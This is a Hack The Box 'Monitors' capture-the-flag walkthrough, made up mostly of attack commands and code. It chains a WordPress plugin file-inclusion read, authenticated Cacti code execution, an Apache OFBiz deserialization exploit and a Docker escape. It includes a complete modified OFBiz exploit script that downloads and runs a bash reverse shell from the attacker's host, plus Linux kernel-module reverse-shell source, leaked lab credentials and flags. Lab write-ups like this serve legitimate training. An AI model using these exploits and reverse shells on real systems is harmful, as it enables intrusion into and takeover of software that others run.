Monitors is a medium-difficulty Linux machine that involves web application enumeration, WordPress and Cacti exploitation, and ultimately escaping from a Docker container to gain root access on the host system.
export target=10.129.232.111
# TCP SYN scan to discover open ports
sudo nmap -p- --min-rate 1000 -sT -vvv $target
# Service version detection on discovered ports
sudo nmap -sC -sV -p 22,80 -T4 $target
Findings:
After discovering the web service, we add the domain to /etc/hosts:
echo "10.129.232.111 monitors.htb" >> /etc/hosts
Visiting http://monitors.htb reveals a WordPress installation.
wpscan --url http://monitors.htb -e ap
Critical Finding: The wp-with-spritz plugin is installed and vulnerable to Local File Inclusion (LFI).
The vulnerable endpoint allows directory traversal:
# Reading /etc/passwd to confirm LFI
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd" | grep sh$
Key Discovery: Two users with shell access: root and marcus.
# Reading Apache configuration
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/000-default.conf"
Discovery: Additional virtual host cacti-admin.monitors.htb
echo "10.129.232.111 cacti-admin.monitors.htb" >> /etc/hosts
# Reading WordPress configuration
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../../var/www/wordpress/wp-config.php"
Credentials Found:
wpadminBestAdministrator@2020!Using the discovered credentials:
http://cacti-admin.monitors.htb/cacti/adminBestAdministrator@2020!Cacti version 1.2.12 is vulnerable to authenticated remote code execution.
searchsploit cacti 1.2.12
searchsploit -m 49810
Exploit Execution:
python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.50 --lport 9001
Result: Gained initial shell as www-data user.
Discovery of backup service credentials:
cat /etc/systemd/system/cacti-backup.service
cat /home/marcus/.backup/backup.sh
Credentials Found:
VerticalEdge2020SSH Access:
ssh marcus@10.129.232.111
User Flag:
cat /home/marcus/user.txt
# 5a8502ebdfc41a5843153cf73bcd702d
netstat -tunlp
Discovery: OFBiz service running on localhost port 8443.
ssh -L 8443:127.0.0.1:8443 marcus@10.129.232.111
gobuster dir -u https://127.0.0.1:8443 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k
Discovery: Apache OFBiz 17.12.01 running at /catalog
OFBiz 17.12.01 is vulnerable to deserialization attacks (CVE-2020-9496).
searchsploit OFBiz 17.12.01
searchsploit -m 50178
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Start HTTP server and netcat listener
python3 -m http.server 8000
nc -lnvp 9002
# Execute exploit
bash 50178.sh -i 10.10.14.50 -p 9002
Modified Exploit Script:
# 50178.sh
#!/usr/bin/env bash
# Exploit Title: Apache OfBiz 17.12.01 - Remote Command Execution (RCE)
# CVE: CVE-2020-9496
# Corrected version for HTB Monitors
url='https://127.0.0.1'
port=8443
function helpPanel(){
echo -e "\nUsage:"
echo -e "\t[-i] Attacker's IP"
echo -e "\t[-p] Attacker's Port"
echo -e "\t[-u] Target URL (default: https://127.0.0.1)"
echo -e "\t[-r] Target Port (default: 8443)"
echo -e "\t[-h] Show help pannel"
exit 1
}
function ctrl_c(){
echo -e "\n\n[!] Exiting...\n"
exit 1
}
trap ctrl_c INT
function webRequest(){
echo -e "\n[*] Creating a shell file with bash\n"
echo -e "#!/bin/bash\n/bin/bash -i >& /dev/tcp/$ip/$ncport 0>&1" > shell.sh
echo -e "[*] Checking for ysoserial..."
# Check if ysoserial exists locally first
if [ ! -f "ysoserial-all.jar" ]; then
echo -e "[!] ysoserial-all.jar not found in current directory"
echo -e "[*] Please ensure ysoserial-all.jar is in the current directory"
echo -e "[*] You can get it from: https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
exit 1
fi
echo -e "[*] Testing connection to target..."
response_test=$(curl -s -k "$url:$port/webtools/control/xmlrpc" -w "%{http_code}" -o /dev/null)
echo -e "[*] Target response code: $response_test"
echo -e "[*] Generating first payload (download shell)..."
# Use Java 11 with proper module exports
payload=$(/usr/lib/jvm/java-11-openjdk-amd64/bin/java \
--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports=java.base/sun.net.www.protocol.http=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsBeanutils1 "wget http://$ip:8000/shell.sh -O /tmp/shell.sh 2>/dev/null" 2>/dev/null | base64 -w 0)
if [ -z "$payload" ]; then
echo -e "[!] Failed to generate first payload with CommonsBeanutils1. Trying CommonsCollections2..."
payload=$(/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar CommonsCollections2 "wget http://$ip:8000/shell.sh -O /tmp/shell.sh 2>/dev/null" 2>/dev/null | base64 -w 0)
fi
if [ -z "$payload" ]; then
echo -e "[!] Failed to generate payload. Trying without module exports..."
payload=$(java -jar ysoserial-all.jar CommonsBeanutils1 "wget http://$ip:8000/shell.sh -O /tmp/shell.sh 2>/dev/null" 2>/dev/null | base64 -w 0)
fi
if [ -z "$payload" ]; then
echo -e "[!] All payload generation attempts failed!"
echo -e "[*] Please check if ysoserial is working properly"
exit 1
fi
echo -e "[+] Payload 1 generated successfully (length: ${#payload} chars)"
echo -e "[*] Sending first payload to server... (Download)"
response1=$(curl -s -k "$url:$port/webtools/control/xmlrpc" -X POST \
-d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload</serializable></value></member></struct></value></param></params></methodCall>" \
-H 'Content-Type:application/xml' -w "%{http_code}")
echo -e "[*] First request sent. Response code: ${response1: -3}"
echo -e "[*] Waiting 3 seconds for download to complete..."
sleep 3
echo -e "[*] Generating second payload (execute shell)..."
payload2=$(/usr/lib/jvm/java-11-openjdk-amd64/bin/java \
--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports=java.base/sun.net.www.protocol.http=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsBeanutils1 "bash /tmp/shell.sh" 2>/dev/null | base64 -w 0)
if [ -z "$payload2" ]; then
echo -e "[!] Failed to generate second payload with CommonsBeanutils1. Trying CommonsCollections2..."
payload2=$(/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar CommonsCollections2 "bash /tmp/shell.sh" 2>/dev/null | base64 -w 0)
fi
if [ -z "$payload2" ]; then
echo -e "[!] Failed to generate second payload. Trying without module exports..."
payload2=$(java -jar ysoserial-all.jar CommonsBeanutils1 "bash /tmp/shell.sh" 2>/dev/null | base64 -w 0)
fi
if [ -z "$payload2" ]; then
echo -e "[!] All payload generation attempts failed for second payload!"
exit 1
fi
echo -e "[+] Payload 2 generated successfully (length: ${#payload2} chars)"
echo -e "[*] Sending second payload to server... (Execute)"
response2=$(curl -s -k "$url:$port/webtools/control/xmlrpc" -X POST \
-d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload2</serializable></value></member></struct></value></param></params></methodCall>" \
-H 'Content-Type:application/xml' -w "%{http_code}")
echo -e "[*] Second request sent. Response code: ${response2: -3}"
echo -e "\n[+] Exploit completed! Check your netcat listener for a shell!"
echo -e "[*] If no shell appears, the target might be:"
echo -e " - Blocking outbound connections"
echo -e " - Not executing the payload"
echo -e " - Requiring a different payload/gadget chain"
}
# Main execution
declare -i parameter_enable=0
while getopts ":i:p:u:r:h" arg; do
case $arg in
i) ip=$OPTARG; let parameter_enable+=1;;
p) ncport=$OPTARG; let parameter_enable+=1;;
u) url=$OPTARG;;
r) port=$OPTARG;;
h) helpPanel;;
esac
done
if [ $parameter_enable -ne 2 ]; then
helpPanel
else
webRequest
fi
Result: Gained access to Docker container as root.
Kernel Module Code:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.50/1337 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile:
obj-m +=reverse-shell.o
all:
make -C /lib/modules/4.15.0-151-generic/build M=/root modules
clean:
make -C /lib/modules/4.15.0-151-generic/build M=/root clean
Execution:
# Transfer files to container
wget http://10.10.14.50:8000/reverse-shell.c
wget http://10.10.14.50:8000/Makefile
# Compile and execute
make
nc -nlvp 1337
insmod reverse-shell.ko
Root Flag:
cat /root/root.txt
# 9fe02d0b7f6bda0b0cdf6b084722768d
Note: This walkthrough is for educational purposes only. Always ensure you have proper authorization before testing security vulnerabilities.
Hack The Box - Monitors | Complete Walkthrough